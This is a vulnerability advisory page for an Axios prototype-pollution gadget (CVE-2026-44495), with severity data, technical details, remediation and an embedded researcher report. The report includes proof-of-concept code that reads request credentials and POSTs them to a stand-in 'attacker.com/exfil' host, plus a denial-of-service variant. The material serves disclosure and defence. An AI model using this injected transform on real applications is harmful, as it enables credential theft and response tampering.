Skip to main content

Axios EUVDEUVD-2026-36258

| CVE-2026-44495 HIGH
Code Injection (CWE-94)
2026-05-29 https://github.com/axios/axios GHSA-3g43-6gmg-66jw
7.0
CVSS 3.1 · Vendor: https://github.com/axios/axios
Share

Severity by source

Vendor (https://github.com/axios/axios) PRIMARY
7.0 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L
Red Hat
7.0 HIGH
qualitative

Primary rating from Vendor (https://github.com/axios/axios).

CVSS VectorVendor: https://github.com/axios/axios

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

Lifecycle Timeline

3
CVE Published
Jun 22, 2026 - 06:03 cve.org
HIGH 7.0
Source Code Evidence Fetched
May 29, 2026 - 16:50 vuln.today
Analysis Generated
May 29, 2026 - 16:50 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 273 npm packages depend on axios (189 direct, 84 indirect)

Ecosystem-wide dependent count for version 1.0.0.

DescriptionCVE.org

Summary

Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.

Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.

Impact

For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.

If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.

This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.

Affected Functionality

The affected functionality is Axios request config processing and response transformation.

Affected use requires all of the following:

  • An affected Axios version.
  • A polluted Object.prototype in the same process or browser context.
  • Pollution before Axios merges or validates the request config.
  • A polluted key relevant to Axios config, especially transformResponse.

This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.

Technical Details

In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.

In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.

Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.

Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.

Proof of Concept of Attack

js
import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.

Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

<details> <summary>Original source report</summary>

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.

The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)

CWE

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSS 3.1

Score: 9.4 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

MetricValueJustification
Attack VectorNetworkPP is triggered remotely via any vulnerable dependency
Attack ComplexityLowOnce PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring
Privileges RequiredNoneNo authentication needed
User InteractionNoneNo user interaction required
ScopeUnchangedCredential theft occurs within the same application process
ConfidentialityHighthis.auth.password, this.url, original response data all exfiltrated
IntegrityLowResponse data is replaced with true - attacker cannot return arbitrary data due to assertOptions constraint (see below)
AvailabilityHighPolluting with an array value causes TypeError: validator is not a function crash (DoS) on every request

Relationship to GHSA-fvcv-3m26-pcqx

This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.

FactorGHSA-fvcv-3m26-pcqxThis Vulnerability
Attack vectorPP → Header injection → Request smugglingPP → Transform function override → Credential theft
Fixed by 1.15.0 header sanitization?YesNo - different code path
AffectsRequests using form-data packageAll requests (transformResponse is in defaults)
ImpactAWS IMDSv2 bypass, cloud compromiseCredential theft (auth, API keys), response hijacking, DoS

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all - it injects a function into the response processing pipeline.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript
Object.prototype.transformResponse = function(data, headers, status) {
  // Steal credentials via this context (this = full request config)
  if (this && this.url && typeof data === 'string') {
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify({
        url: this.url,
        username: this.auth?.username,
        password: this.auth?.password,
        responseData: data,
      })
    });
  }
  return true;  // MUST return true to pass assertOptions validator check
};

Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
  auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});

3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

javascript
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
  // 'transformResponse' is in config1 (defaults) → included in keys
  const merge = mergeMap[prop];  // → defaultToConfig2
  const configValue = merge(config1[prop], config2[prop], prop);
  // config2['transformResponse'] traverses prototype → finds polluted function!
});

The polluted function then executes at transformData.js:21:

javascript
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)

4. The Impact

Attacker receives at https://attacker.com/exfil:

{
  "url": "https://api.internal/users",
  "username": "svc-account",
  "password": "prod-secret-key-123!",
  "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant

javascript
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes

Verified PoC Output

Step 1 - Normal behavior (before pollution):
    Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse:
    Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse:
    Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
    After malicious transform: true
    Response tampered: true

Step 4 - Exfiltrated data:
    Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
    Request URL: https://internal-api.corp/secrets
    Authentication info: {"username":"admin","password":"P@ssw0rd123!"}

Impact Analysis

  • Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
  • Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
  • Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
  • Denial of Service: Polluting with a non-function value crashes every request.
  • Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.

Limitations (Honest Assessment)

  • Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
  • Response data cannot be arbitrarily tampered - the function must return true to pass assertOptions
  • This is in-process JavaScript function execution, not OS-level RCE

Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

javascript
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
    return getMergedValue(undefined, b);
  } else if (!utils.isUndefined(a)) {
    return getMergedValue(undefined, a);
  }
}

Additionally, validate that transformResponse contains only functions before execution:

javascript
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
  if (typeof fn !== 'function') {
    throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
  }
  data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});

Resources

Timeline

DateEvent
2026-04-15Vulnerability discovered during source code audit
2026-04-15Initial PoC developed (array payload - crashes at validator.js)
2026-04-16PoC corrected (function payload returning true - works)
2026-04-16Report revised with accurate constraints
TBDReport submitted to vendor via GitHub Security Advisory

</details>

AnalysisAI

Prototype-pollution gadget in Axios (npm) before 1.15.2 and 0.31.1 allows an attacker who has already polluted Object.prototype.transformResponse in the same JavaScript process to hijack response handling, exfiltrate request config (URL, headers, auth credentials), and tamper with returned data. The flaw lives in mergeConfig() and transformData(), which read config via prototype-chain lookups, so any helper library prototype pollution becomes a credential-theft and DoS primitive for every Axios request. No public exploit identified at time of analysis beyond the advisory's PoC, and the issue is not in CISA KEV.

Technical ContextAI

Axios is the most widely used HTTP client in the Node.js and browser JavaScript ecosystem (CPE pkg:npm/axios). The root cause is CWE-1321 (Prototype Pollution gadget) - a downstream sink class often combined with CWE-94 (code injection) when polluted values are functions. In lib/core/mergeConfig.js, defaultToConfig2 reads config2[prop] with regular bracket notation, so when prop is 'transformResponse' (present in Axios defaults) and the request config object lacks an own property, the lookup walks up to Object.prototype. lib/core/transformData.js then invokes the inherited value with fn.call(config, data, headers, status), passing the full request config (including auth.username/password and headers) as this. Later v1 releases partially hardened mergeConfig but still consulted inherited properties inside validator.assertOptions(), giving a narrower function-execution path during option validation. The fixed releases switch to Object.prototype.hasOwnProperty.call checks and null-prototype config objects so inherited keys are ignored.

RemediationAI

Vendor-released patches: upgrade to Axios 1.15.2 on the 1.x line or to 0.31.1 on the 0.x line, per GHSA-3g43-6gmg-66jw (https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw). If immediate upgrade is not possible, eliminate the precondition by patching or removing dependencies known to allow Object.prototype pollution (older qs, minimist, lodash.merge, body-parser-style mergers) and audit application code that recursively merges untrusted JSON into existing objects; this neutralizes the gadget but does not fix Axios itself. As a runtime workaround, freeze Object.prototype with Object.freeze(Object.prototype) at process startup (side effect: breaks libraries that monkey-patch built-ins, so test thoroughly), or explicitly set transformResponse to an own-property array on every Axios call/config to shadow any inherited value (side effect: easy to miss in third-party libraries that themselves call Axios). Verify that no third-party library bundled with the app pins a vulnerable Axios version transitively.

Vendor StatusVendor

Share

EUVD-2026-36258 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy